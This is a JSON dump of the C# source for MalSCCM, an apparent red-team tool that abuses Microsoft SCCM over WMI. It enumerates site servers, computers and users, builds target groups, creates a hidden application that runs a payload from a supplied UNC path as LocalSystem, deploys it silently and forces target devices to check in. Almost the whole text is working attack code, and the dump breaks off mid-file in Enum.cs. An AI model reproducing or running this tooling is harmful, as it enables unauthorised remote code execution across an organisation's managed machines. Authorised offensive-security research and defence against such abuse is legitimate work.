[ { "path": ".gitignore", "content": ".vs\n*.user\n[Dd]ebug/\n[Rr]elease/\n[Bb]in/\n[Oo]bj/\n.DS_Store\n\n" }, { "path": "MalSCCM/Args/ArgumentParser.cs", "content": "using System.Collections.Generic;\nusing System.Diagnostics;\n\nnamespace MalSCCM.Args\n{\n public static class ArgumentParser\n {\n public static ArgumentParserResult Parse(IEnumerable args)\n {\n var arguments = new Dictionary();\n try\n {\n foreach (var argument in args)\n {\n var idx = argument.IndexOf(':');\n if (idx > 0)\n {\n arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);\n }\n else\n {\n idx = argument.IndexOf('=');\n if (idx > 0)\n {\n arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);\n }\n else\n {\n arguments[argument] = string.Empty;\n }\n }\n }\n\n return ArgumentParserResult.Success(arguments);\n }\n catch (System.Exception ex)\n {\n Debug.WriteLine(ex.Message);\n return ArgumentParserResult.Failure();\n }\n }\n }\n}\n" }, { "path": "MalSCCM/Args/ArgumentParserResult.cs", "content": "using System.Collections.Generic;\n\nnamespace MalSCCM.Args\n{\n public class ArgumentParserResult\n {\n public bool ParsedOk { get; }\n public Dictionary Arguments { get; }\n\n private ArgumentParserResult(bool parsedOk, Dictionary arguments)\n {\n ParsedOk = parsedOk;\n Arguments = arguments;\n }\n\n public static ArgumentParserResult Success(Dictionary arguments)\n => new ArgumentParserResult(true, arguments);\n\n public static ArgumentParserResult Failure()\n => new ArgumentParserResult(false, null);\n\n }\n}" }, { "path": "MalSCCM/Args/CommandCollection.cs", "content": "using System;\nusing System.Collections.Generic;\nusing MalSCCM.Commands;\n\nnamespace MalSCCM.Args\n{\n public class CommandCollection\n {\n private readonly Dictionary> _availableCommands = new Dictionary>();\n\n // How To Add A New Command:\n // 1. Create your command class in the Commands Folder\n // a. That class must have a CommandName static property that has the Command's name\n // and must also Implement the ICommand interface\n // b. Put the code that does the work into the Execute() method\n // 2. Add an entry to the _availableCommands dictionary in the Constructor below.\n\n public CommandCollection()\n {\n _availableCommands.Add(Inspect.CommandName, () => new Inspect());\n _availableCommands.Add(Group.CommandName, () => new Group());\n _availableCommands.Add(App.CommandName, () => new App());\n _availableCommands.Add(Checkin.CommandName, () => new Checkin());\n _availableCommands.Add(Locate.CommandName, () => new Locate());\n\n }\n\n public bool ExecuteCommand(string commandName, Dictionary arguments)\n {\n bool commandWasFound;\n\n if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false)\n commandWasFound= false;\n else\n {\n // Create the command object \n var command = _availableCommands[commandName].Invoke();\n \n // and execute it with the arguments from the command line\n command.Execute(arguments);\n\n commandWasFound = true;\n }\n\n return commandWasFound;\n }\n }\n}" }, { "path": "MalSCCM/Args/Info.cs", "content": "using System;\n\nnamespace MalSCCM.Args\n{\n public static class Info\n {\n public static void ShowLogo()\n {\n string logo = @\" __ __ _ ____ ____ ____ __ __\n| \\/ | __ _| / ___| / ___/ ___| \\/ |\n| |\\/| |/ _` | \\___ \\| | | | | |\\/| |\n| | | | (_| | |___) | |__| |___| | | |\n|_| |_|\\__,_|_|____/ \\____\\____|_| |_|\n Phil Keeble @ Nettitude Red Team\n\";\n Console.WriteLine(logo);\n }\n\n public static void ShowUsage()\n {\n string usage = @\"Commands listed below have optional parameters in <>. \n\nAttempt to find the SCCM management and primary servers:\n MalSCCM.exe locate\n\nInspect the primary server to gather SCCM information:\n MalSCCM.exe inspect \n\nCreate/Modify/Delete Groups to add targets in for deploying malicious apps. Groups can either be for devices or users:\n MalSCCM.exe group /create /groupname:example /grouptype:[user|device] \n MalSCCM.exe group /delete /groupname:example \n MalSCCM.exe group /addhost /groupname:example /host:examplehost \n MalSCCM.exe group /adduser /groupname:example /user:exampleuser \n\nCreate/Deploy/Delete malicious applications:\n MalSCCM.exe app /create /name:appname /uncpath:\"\"\\\\unc\\path\"\" \n MalSCCM.exe app /delete /name:appname \n MalSCCM.exe app /deploy /name:appname /groupname:example /assignmentname:example2 \n MalSCCM.exe app /deletedeploy /name:appname \n MalSCCM.exe app /cleanup /name:appname \n\nForce devices of a group to checkin within a couple minutes:\n MalSCCM.exe checkin /groupname:example \n\";\n Console.WriteLine(usage);\n }\n }\n}\n" }, { "path": "MalSCCM/Commands/App.cs", "content": "using System;\nusing System.Collections.Generic;\n\nnamespace MalSCCM.Commands\n{\n public class App : ICommand\n {\n\n public static string CommandName => \"app\";\n public static string AppName = \"\";\n public static string UNCPath = \"\";\n public static string AssignmentName = \"\";\n\n\n public void Execute(Dictionary arguments)\n {\n if (arguments.ContainsKey(\"/server\"))\n {\n Inspect.ServerName = arguments[\"/server\"];\n }\n\n Console.WriteLine(\"[*] Action: Manipulating SCCM Applications\");\n\n if (arguments.ContainsKey(\"/groupname\"))\n {\n Group.GroupName = arguments[\"/groupname\"];\n }\n\n if (arguments.ContainsKey(\"/name\"))\n {\n AppName = arguments[\"/name\"];\n }\n\n if (arguments.ContainsKey(\"/uncpath\"))\n {\n UNCPath = arguments[\"/uncpath\"];\n }\n\n if (arguments.ContainsKey(\"/assignmentname\"))\n {\n AssignmentName = arguments[\"/assignmentname\"];\n }\n\n if (!Enum.FbGetSiteScope())\n {\n Console.WriteLine(\"Getting sitecode from CCM namespace failed, trying SMS instead\");\n if (!Enum.FbGetSiteScope2())\n {\n Console.WriteLine(\"Getting sitecode from WMI failed, attempting client registry keys\");\n Enum.FbGetSiteScope3();\n }\n }\n\n if (arguments.ContainsKey(\"/create\"))\n {\n Console.WriteLine(\"[*] Action: Creating SCCM Application\");\n Application.FbCreateSCCMApplication();\n }\n\n if (arguments.ContainsKey(\"/delete\"))\n {\n Console.WriteLine(\"[*] Action: Deleting SCCM Application\");\n Application.FbRemoveSCCMApplication();\n }\n\n if (arguments.ContainsKey(\"/deploy\"))\n {\n Console.WriteLine(\"[*] Action: Gathering group ID\");\n Groups.FbGetSCCMCollectionID();\n Console.WriteLine(\"[*] Action: Deploying SCCM Application\");\n Application.FbDeploySCCMApplication();\n }\n\n if (arguments.ContainsKey(\"/deletedeploy\"))\n {\n Console.WriteLine(\"[*] Action: Removing SCCM Application Deployment\");\n Application.FbRemoveSCCMApplicationDeployment();\n }\n\n if (arguments.ContainsKey(\"/cleanup\"))\n {\n Console.WriteLine(\"[*] Action: Removing SCCM Application Deployment\");\n Application.FbRemoveSCCMApplicationDeployment();\n Console.WriteLine(\"[*] Action: Deleting SCCM Application\");\n Application.FbRemoveSCCMApplication();\n }\n\n\n Console.WriteLine(\"\\r\\n[*] App complete\\r\\n\");\n }\n }\n}" }, { "path": "MalSCCM/Commands/Checkin.cs", "content": "using System;\nusing System.Collections.Generic;\n\nnamespace MalSCCM.Commands\n{\n public class Checkin : ICommand\n {\n\n public static string CommandName => \"checkin\";\n\n\n public void Execute(Dictionary arguments)\n {\n if (arguments.ContainsKey(\"/server\"))\n {\n Inspect.ServerName = arguments[\"/server\"];\n }\n\n Console.WriteLine(\"[*] Action: Causing SCCM poll\");\n\n if (arguments.ContainsKey(\"/groupname\"))\n {\n Group.GroupName = arguments[\"/groupname\"];\n }\n\n if (!Enum.FbGetSiteScope())\n {\n Console.WriteLine(\"Getting sitecode from CCM namespace failed, trying SMS instead\");\n if (!Enum.FbGetSiteScope2())\n {\n Console.WriteLine(\"Getting sitecode from WMI failed, attempting client registry keys\");\n Enum.FbGetSiteScope3();\n }\n }\n\n if (arguments.ContainsKey(\"/groupname\"))\n {\n Console.WriteLine(\"\\r\\n[*] Action: Getting Collection IDs\");\n Groups.FbGetSCCMCollectionID();\n Console.WriteLine(\"[*] Action: Forcing Group To Checkin for Updates\");\n Check.FbSCCMDeviceCheckin();\n }\n Console.WriteLine(\"\\r\\n[*] Checkin complete\\r\\n\");\n }\n }\n}" }, { "path": "MalSCCM/Commands/Group.cs", "content": "using System;\nusing System.Collections.Generic;\n\nnamespace MalSCCM.Commands\n{\n public class Group : ICommand\n {\n\n public static string CommandName => \"group\";\n public static string GroupName = \"\";\n public static string GroupType = \"\";\n public static string SystemCollectionID = \"\";\n public static string UserCollectionID = \"\";\n public static string TargetCollectionID = \"\";\n public static string UserName = \"\";\n public static string DeviceName = \"\";\n public static string ResourceID = \"\";\n\n\n public void Execute(Dictionary arguments)\n {\n if (arguments.ContainsKey(\"/server\"))\n {\n Inspect.ServerName = arguments[\"/server\"];\n }\n\n Console.WriteLine(\"[*] Action: Manipulating SCCM Groups\");\n\n if (arguments.ContainsKey(\"/groupname\"))\n {\n GroupName = arguments[\"/groupname\"];\n }\n\n if (arguments.ContainsKey(\"/grouptype\"))\n {\n GroupType = arguments[\"/grouptype\"];\n }\n\n if (arguments.ContainsKey(\"/user\"))\n {\n UserName = arguments[\"/user\"];\n }\n\n if (arguments.ContainsKey(\"/host\"))\n {\n DeviceName = arguments[\"/host\"];\n }\n\n if (!Enum.FbGetSiteScope())\n {\n Console.WriteLine(\"Getting sitecode from CCM namespace failed, trying SMS instead\");\n if (!Enum.FbGetSiteScope2())\n {\n Console.WriteLine(\"Getting sitecode from WMI failed, attempting client registry keys\");\n Enum.FbGetSiteScope3();\n }\n }\n\n if (arguments.ContainsKey(\"/create\"))\n {\n Console.WriteLine(\"[*] Action: Creating SCCM Group\");\n Console.WriteLine(\"\\r\\n[*] Action: Getting Collection IDs\");\n Groups.FbGetSCCMCollectionID();\n Console.WriteLine(\"\\r\\n[*] Action: Creating Collection\");\n Groups.FbNewSCCMCollection();\n }\n\n if (arguments.ContainsKey(\"/delete\"))\n {\n Console.WriteLine(\"[*] Action: Deleting SCCM Group\");\n Console.WriteLine(\"\\r\\n[*] Action: Getting Collection IDs\");\n Groups.FbGetSCCMCollectionID();\n Console.WriteLine(\"\\r\\n[*] Action: Removing Collection\");\n Groups.FbRemoveSCCMCollection();\n }\n\n if (arguments.ContainsKey(\"/adduser\"))\n {\n Console.WriteLine(\"[*] Action: Adding User to an SCCM Group\");\n Console.WriteLine(\"\\r\\n[*] Action: Getting Collection IDs\");\n Groups.FbGetSCCMCollectionID();\n Console.WriteLine(\"\\r\\n[*] Action: Adding User\");\n Groups.FbAddUserToSCCMCollection();\n }\n\n if (arguments.ContainsKey(\"/addhost\"))\n {\n Console.WriteLine(\"[*] Action: Adding System to an SCCM Group\");\n Console.WriteLine(\"\\r\\n[*] Action: Getting Collection IDs\");\n Groups.FbGetSCCMCollectionID();\n Console.WriteLine(\"\\r\\n[*] Action: Adding Device\");\n Groups.FbAddDeviceToSCCMCollection();\n }\n\n\n Console.WriteLine(\"\\r\\n[*] Group complete\\r\\n\");\n }\n }\n}" }, { "path": "MalSCCM/Commands/ICommand.cs", "content": "using System.Collections.Generic;\n\nnamespace MalSCCM.Commands\n{\n public interface ICommand\n {\n void Execute(Dictionary arguments);\n }\n}" }, { "path": "MalSCCM/Commands/Inspect.cs", "content": "using System;\nusing System.Collections.Generic;\n\nnamespace MalSCCM.Commands\n{\n public class Inspect : ICommand\n {\n\n public static string CommandName => \"inspect\";\n public static string SiteCode = \"\";\n public static string ServerName = \"localhost\";\n\n public void Execute(Dictionary arguments)\n {\n if (arguments.ContainsKey(\"/server\"))\n {\n ServerName = arguments[\"/server\"];\n }\n\n Console.WriteLine(\"[*] Action: Inspect SCCM Server\");\n\n if (!Enum.FbGetSiteScope())\n {\n Console.WriteLine(\"Getting sitecode from CCM namespace failed, trying SMS instead\");\n if (!Enum.FbGetSiteScope2())\n {\n Console.WriteLine(\"Getting sitecode from WMI failed, attempting client registry keys\");\n Enum.FbGetSiteScope3();\n }\n }\n\n if (arguments.ContainsKey(\"/all\"))\n {\n\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM Computers\");\n Enum.FbGetSCCMComputer();\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM AD Forest\");\n Enum.FbGetSCCMADForest();\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM Applications\");\n Enum.FbGetSCCMApplication();\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM Packages\");\n Enum.FbGetSCCMPackage();\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM Collections (Groups)\");\n Enum.FbGetSCCMCollection();\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM Primary Users\");\n Enum.FbGetSCCMPrimaryUser();\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM Deployments\");\n Enum.FbGetSCCMDeployments();\n }\n\n if (arguments.ContainsKey(\"/computers\"))\n {\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM Computers\");\n Enum.FbGetSCCMComputer();\n }\n\n if (arguments.ContainsKey(\"/forest\"))\n {\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM AD Forest\");\n Enum.FbGetSCCMADForest();\n }\n\n if (arguments.ContainsKey(\"/applications\"))\n {\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM Applications\");\n Enum.FbGetSCCMApplication();\n }\n\n if (arguments.ContainsKey(\"/packages\"))\n {\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM Packages\");\n Enum.FbGetSCCMPackage();\n }\n\n if (arguments.ContainsKey(\"/groups\"))\n {\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM Collections (Groups)\");\n Enum.FbGetSCCMCollection();\n }\n\n if (arguments.ContainsKey(\"/primaryusers\"))\n {\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM Primary Users\");\n Enum.FbGetSCCMPrimaryUser();\n }\n\n if (arguments.ContainsKey(\"/deployments\"))\n {\n Console.WriteLine(\"\\r\\n[*] Action: Get SCCM Deployments\");\n Enum.FbGetSCCMDeployments();\n }\n\n\n\n\n Console.WriteLine(\"\\r\\n[*] Inspect complete\\r\\n\");\n }\n }\n}" }, { "path": "MalSCCM/Commands/Locate.cs", "content": "using System;\nusing System.Collections.Generic;\n\nnamespace MalSCCM.Commands\n{\n public class Locate : ICommand\n {\n\n public static string CommandName => \"locate\";\n public static string SiteCode = \"\";\n public static string ServerName = \"localhost\";\n\n public void Execute(Dictionary arguments)\n {\n if (arguments.ContainsKey(\"/server\"))\n {\n ServerName = arguments[\"/server\"];\n }\n\n Console.WriteLine(\"[*] Action: Locating SCCM Management Servers\");\n\n if (!Enum.FbGetSiteScope())\n {\n Console.WriteLine(\"Getting sitecode from CCM namespace failed, trying SMS instead\");\n if (!Enum.FbGetSiteScope2())\n {\n Console.WriteLine(\"Getting sitecode from WMI failed, attempting client registry keys\");\n Enum.FbGetSiteScope3();\n }\n }\n\n Console.WriteLine(\"\\r\\n[!] Note - Managment Server may not be the Primary Server which is needed for exploitation.\");\n Console.WriteLine(\"[!] Note - You can try use 'inspect /server:' to see if the management server is exploitable.\");\n Console.WriteLine(\"[!] Note - If you are on a management server, the registry checks below should return the primary server\");\n\n Console.WriteLine(\"\\r\\n[*] Action: Locating SCCM Servers in Registry\");\n\n Enum.FbGetSCCMPrimaryServerRegKey();\n\n Console.WriteLine(\"\\r\\n[!] Note - If looking for reg keys failed, make sure you are on a management server!\");\n Console.WriteLine(\"[!] Note - Alternate ways of finding the primary server could be shares on the network (SMS_) will be the name of a share on the primary server.\");\n\n Console.WriteLine(\"\\r\\n[*] Locate complete\\r\\n\");\n }\n }\n}" }, { "path": "MalSCCM/MalSCCM.csproj", "content": "\n\n \n \n Debug\n AnyCPU\n {5439CECD-3BB3-4807-B33F-E4C299B71CA2}\n Exe\n MalSCCM\n MalSCCM\n v3.5\n 512\n true\n \n \n AnyCPU\n true\n full\n false\n bin\\Debug\\\n DEBUG;TRACE\n prompt\n 4\n \n \n AnyCPU\n pdbonly\n true\n bin\\Release\\\n TRACE\n prompt\n 4\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n" }, { "path": "MalSCCM/Program.cs", "content": "using System;\nusing System.Collections.Generic;\nusing MalSCCM.Args;\n\nnamespace MalSCCM\n{\n class Program\n {\n private static void MainExecute(string commandName, Dictionary parsedArgs)\n {\n // main execution logic\n\n Info.ShowLogo();\n\n try\n {\n var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs);\n\n // show the usage if no commands were found for the command name\n if (commandFound == false)\n Info.ShowUsage();\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\n[!] Unhandled MalSCCM exception:\\r\\n\");\n Console.WriteLine(e);\n }\n }\n\n public static void Main(string[] args)\n {\n // try to parse the command line arguments, show usage on failure and then bail\n var parsed = ArgumentParser.Parse(args);\n if (parsed.ParsedOk == false)\n {\n Info.ShowLogo();\n Info.ShowUsage();\n return;\n }\n\n var commandName = args.Length != 0 ? args[0] : \"\";\n\n MainExecute(commandName, parsed.Arguments);\n\n }\n }\n}\n" }, { "path": "MalSCCM/Properties/AssemblyInfo.cs", "content": "using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// General Information about an assembly is controlled through the following\n// set of attributes. Change these attribute values to modify the information\n// associated with an assembly.\n[assembly: AssemblyTitle(\"MalSCCM\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"MalSCCM\")]\n[assembly: AssemblyCopyright(\"Copyright © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// Setting ComVisible to false makes the types in this assembly not visible\n// to COM components. If you need to access a type in this assembly from\n// COM, set the ComVisible attribute to true on that type.\n[assembly: ComVisible(false)]\n\n// The following GUID is for the ID of the typelib if this project is exposed to COM\n[assembly: Guid(\"5439cecd-3bb3-4807-b33f-e4c299b71ca2\")]\n\n// Version information for an assembly consists of the following four values:\n//\n// Major Version\n// Minor Version\n// Build Number\n// Revision\n//\n// You can specify all the values or you can default the Build and Revision Numbers\n// by using the '*' as shown below:\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"1.0.0.0\")]\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\n" }, { "path": "MalSCCM/lib/Application.cs", "content": "using System;\nusing System.Management;\nusing System.Text;\nusing MalSCCM.Commands;\n\npublic class Application\n{\n public static bool FbCreateSCCMApplication()\n {\n try\n {\n ManagementClass IDClass = new ManagementClass($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}:SMS_Identification\");\n ManagementClass AppClass = new ManagementClass($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}:SMS_Application\");\n\n object[] methodArgs = {null};\n\n object result = IDClass.InvokeMethod(\"GetSiteID\", methodArgs);\n string scopeid = (string)methodArgs[0];\n var trimscopeid = \"ScopeId_\" + scopeid.Trim(new char[] { '{', '}' });\n\n Console.WriteLine(\"ScopeID: \" + trimscopeid);\n\n var NewAppID = \"Application_\" + Guid.NewGuid();\n Console.WriteLine(\"NewAppID: \" + NewAppID);\n var NewDeployID = \"DeploymentType_\" + Guid.NewGuid();\n Console.WriteLine(\"NewDeployID: \" + NewDeployID);\n var NewFileID = \"File_\" + Guid.NewGuid();\n Console.WriteLine(\"NewFileID: \" + NewFileID);\n\n StringBuilder xml = new StringBuilder();\n\n xml.AppendLine(@\"\" + App.AppName + @\"\" + App.AppName + @\"\" + App.AppName + @\"GLOBAL/ScriptDeploymentTechnologyScriptNativeSystemLocalSystem<?xml version=\"\"1.0\"\" encoding=\"\"utf-16\"\"?>\");\n xml.AppendLine(@\"<EnhancedDetectionMethod xmlns=\"\"http://schemas.microsoft.com/SystemCenterConfigurationManager/2009/AppMgmtDigest\"\">\");\n xml.AppendLine(\"\\t\" + @\"<Settings xmlns=\"\"http://schemas.microsoft.com/SystemCenterConfigurationManager/2009/AppMgmtDigest\"\">\");\n xml.AppendLine(\"\\t\\t\" + @\"<File Is64Bit=\"\"false\"\" LogicalName=\"\"\" + NewFileID + @\"\"\" xmlns=\"\"http://schemas.microsoft.com/SystemsCenterConfigurationManager/2009/07/10/DesiredConfiguration\"\">\");\n xml.AppendLine(\"\\t\\t\\t\" + @\"<Annotation xmlns=\"\"http://schemas.microsoft.com/SystemsCenterConfigurationManager/2009/06/14/Rules\"\">\");\n xml.AppendLine(\"\\t\\t\\t\\t\" + @\"<DisplayName Text=\"\"\"\" />\");\n xml.AppendLine(\"\\t\\t\\t\\t\" + @\"<Description Text=\"\"\"\" />\");\n xml.AppendLine(\"\\t\\t\\t\" + @\"</Annotation>\");\n xml.AppendLine(\"\\t\\t\\t\" + @\"<Path>C:\\</Path>\");\n xml.AppendLine(\"\\t\\t\\t\" + @\"<Filter>asdf</Filter>\");\n xml.AppendLine(\"\\t\\t\" + @\"</File>\");\n xml.AppendLine(\"\\t\" + @\"</Settings>\");\n xml.AppendLine(\"\\t\" + @\"<Rule id=\"\"\" + trimscopeid + \"/\" + NewDeployID + @\"\"\" Severity=\"\"Informational\"\" NonCompliantWhenSettingIsNotFound=\"\"false\"\" xmlns=\"\"http://schemas.microsoft.com/SystemsCenterConfigurationManager/2009/06/14/Rules\"\">\");\n xml.AppendLine(\"\\t\\t\" + @\"<Annotation>\");\n xml.AppendLine(\"\\t\\t\\t\" + @\"<DisplayName Text=\"\"\"\" />\");\n xml.AppendLine(\"\\t\\t\\t\" + @\"<Description Text=\"\"\"\" />\");\n xml.AppendLine(\"\\t\\t\" + @\"</Annotation>\");\n xml.AppendLine(\"\\t\\t\" + @\"<Expression>\");\n xml.AppendLine(\"\\t\\t\\t\" + @\"<Operator>NotEquals</Operator>\");\n xml.AppendLine(\"\\t\\t\\t\" + @\"<Operands>\");\n xml.AppendLine(\"\\t\\t\\t\\t\" + @\"<SettingReference AuthoringScopeId=\"\"\" + trimscopeid + @\"\"\" LogicalName=\"\"\" + NewAppID + @\"\"\" Version=\"\"2\"\" DataType=\"\"Int64\"\" SettingLogicalName=\"\"\" + NewFileID + @\"\"\" SettingSourceType=\"\"File\"\" Method=\"\"Count\"\" Changeable=\"\"false\"\" />\");\n xml.AppendLine(\"\\t\\t\\t\\t\" + @\"<ConstantValue Value=\"\"0\"\" DataType=\"\"Int64\"\" />\");\n xml.AppendLine(\"\\t\\t\\t\" + @\"</Operands>\");\n xml.AppendLine(\"\\t\\t\" + @\"</Expression>\");\n xml.AppendLine(\"\\t\" + @\"</Rule>\");\n xml.AppendLine(@\"</EnhancedDetectionMethod>Script\" + App.UNCPath + @\"C:\\Windows\\System32SystemfalsefalsefalseHiddenBasedOnExitCode0120false01707301016411618EnhancedC:\\asdfNotEquals\" + App.UNCPath + @\"C:\\Windows\\System32Hiddentrue\");\n\n Console.WriteLine(\"Creating Instance\");\n\n ManagementObject newInstance = AppClass.CreateInstance();\n \n newInstance[\"SDMPackageXML\"] = xml.ToString();\n newInstance[\"IsHidden\"] = true;\n\n newInstance.Put();\n\n Console.WriteLine(\"App Created\");\n\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbCreateSCCMApplication.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbRemoveSCCMApplication()\n {\n try\n {\n var Query = new SelectQuery($\"Select * FROM SMS_Application WHERE LocalizedDisplayName = '{App.AppName}'\");\n var mgmtScope = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}\");\n mgmtScope.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(mgmtScope, Query);\n ManagementObjectCollection objColl = mgmtSrchr.Get();\n\n foreach (ManagementObject obj in objColl)\n {\n object[] methodArgs = { \"True\" };\n obj.InvokeMethod(\"SetIsExpired\", methodArgs);\n Console.WriteLine(\"App retired\");\n\n obj.Delete();\n Console.WriteLine(\"App deleted\");\n }\n Console.WriteLine(\"App has been deleted successfully\");\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbRemoveSCCMApplication.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbDeploySCCMApplication()\n {\n try\n {\n ManagementClass AppAssignementClass = new ManagementClass($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}:SMS_ApplicationAssignment\");\n var TargetCollectionID = Group.TargetCollectionID;\n\n var Query = new SelectQuery($\"Select * FROM SMS_Application WHERE LocalizedDisplayName = '{App.AppName}'\");\n var mgmtScope = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}\");\n mgmtScope.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(mgmtScope, Query);\n var CI_ID = \"\";\n int CI_IDint = 0;\n var CI_UniqueID = \"\";\n\n foreach (var result in mgmtSrchr.Get())\n {\n CI_ID = result.GetPropertyValue(\"CI_ID\").ToString();\n CI_IDint = int.Parse(CI_ID);\n CI_UniqueID = result.GetPropertyValue(\"CI_UniqueID\").ToString();\n }\n\n var Date = DateTime.Now.ToString(\"yyyyMMddHHmmss\") + \".000000+***\";\n\n ManagementObject newInstance = AppAssignementClass.CreateInstance();\n\n newInstance[\"ApplicationName\"] = App.AppName;\n newInstance[\"AssignmentName\"] = App.AssignmentName;\n newInstance[\"AssignedCIs\"] = new int[] { CI_IDint };\n newInstance[\"AssignmentAction\"] = 2;\n newInstance[\"DesiredConfigType\"] = 1;\n newInstance[\"LogComplianceToWinEvent\"] = false;\n newInstance[\"CollectionName\"] = Group.GroupName;\n newInstance[\"CreationTime\"] = Date;\n newInstance[\"LocaleID\"] = 1033;\n newInstance[\"SourceSite\"] = Inspect.SiteCode;\n newInstance[\"StartTime\"] = Date;\n newInstance[\"DisableMOMAlerts\"] = true;\n newInstance[\"SuppressReboot\"] = false;\n newInstance[\"NotifyUser\"] = false;\n newInstance[\"TargetCollectionID\"] = TargetCollectionID;\n newInstance[\"EnforcementDeadline\"] = Date;\n newInstance[\"OfferTypeID\"] = 0;\n newInstance[\"OfferFlags\"] = 0;\n newInstance[\"Priority\"] = 2;\n newInstance[\"UserUIExperience\"] = false;\n newInstance[\"WoLEnabled\"] = false;\n newInstance[\"RebootOutsideOfServiceWindows\"] = false;\n newInstance[\"OverrideServiceWindows\"] = false;\n newInstance[\"UseGMTTimes\"] = true;\n newInstance.Put();\n\n Console.WriteLine(\"App Deployed\");\n\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbDeploySCCMApplication.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n\n public static bool FbRemoveSCCMApplicationDeployment()\n {\n try\n {\n var Query = new SelectQuery(\"Select * FROM SMS_ApplicationAssignment WHERE ApplicationName = '\" + App.AppName + \"'\");\n var mgmtScope = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}\");\n mgmtScope.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(mgmtScope, Query);\n ManagementObjectCollection objColl = mgmtSrchr.Get();\n\n foreach (ManagementObject obj in objColl)\n {\n obj.Delete();\n Console.WriteLine(\"object deleted\");\n }\n\n Console.WriteLine(\"App deployment has been deleted successfully\");\n\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbRemoveSCCMApplicationDeployment.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n\n}\n" }, { "path": "MalSCCM/lib/Check.cs", "content": "using System;\nusing System.Management;\nusing MalSCCM.Commands;\n\npublic class Check\n{\n public static bool FbSCCMDeviceCheckin()\n {\n try\n {\n ManagementClass Class = new ManagementClass($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}:SMS_ClientOperation\");\n ManagementBaseObject newInstance = Class.GetMethodParameters(\"InitiateClientOperation\");\n\n newInstance[\"Type\"] = 8;\n newInstance[\"TargetCollectionID\"] = Group.TargetCollectionID;\n\n ManagementBaseObject result = Class.InvokeMethod(\"InitiateClientOperation\",newInstance,null);\n\n Console.WriteLine(\"ReturnValue: \" + result.GetPropertyValue(\"ReturnValue\"));\n Console.WriteLine(\"OperationID: \" + result.GetPropertyValue(\"OperationID\"));\n\n Console.WriteLine(\"Checkin succeeded.\");\n\n return true;\n\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbSCCMDeviceCheckin.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n\n}\n" }, { "path": "MalSCCM/lib/Enum.cs", "content": "using System;\nusing System.Management;\nusing Microsoft.Win32;\nusing MalSCCM.Commands;\n\npublic class Enum\n{\n public static bool FbGetSiteScope()\n {\n try\n {\n var osQuery = new SelectQuery(\"SMS_Authority\");\n var mgmtScope = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\ccm\");\n mgmtScope.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(mgmtScope, osQuery);\n\n foreach (var result in mgmtSrchr.Get())\n {\n var siteCode = result.GetPropertyValue(\"Name\").ToString();\n var managementServer = result.GetPropertyValue(\"CurrentManagementPoint\").ToString();\n\n \n if (!string.IsNullOrEmpty(siteCode))\n {\n Console.WriteLine(\"SiteCode: \" + siteCode.Remove(0, 4));\n Console.WriteLine(\"ManagementPoint: \" + managementServer);\n\n Inspect.SiteCode = siteCode.Remove(0, 4);\n\n return true;\n }\n \n }\n return false;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSiteScope.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool 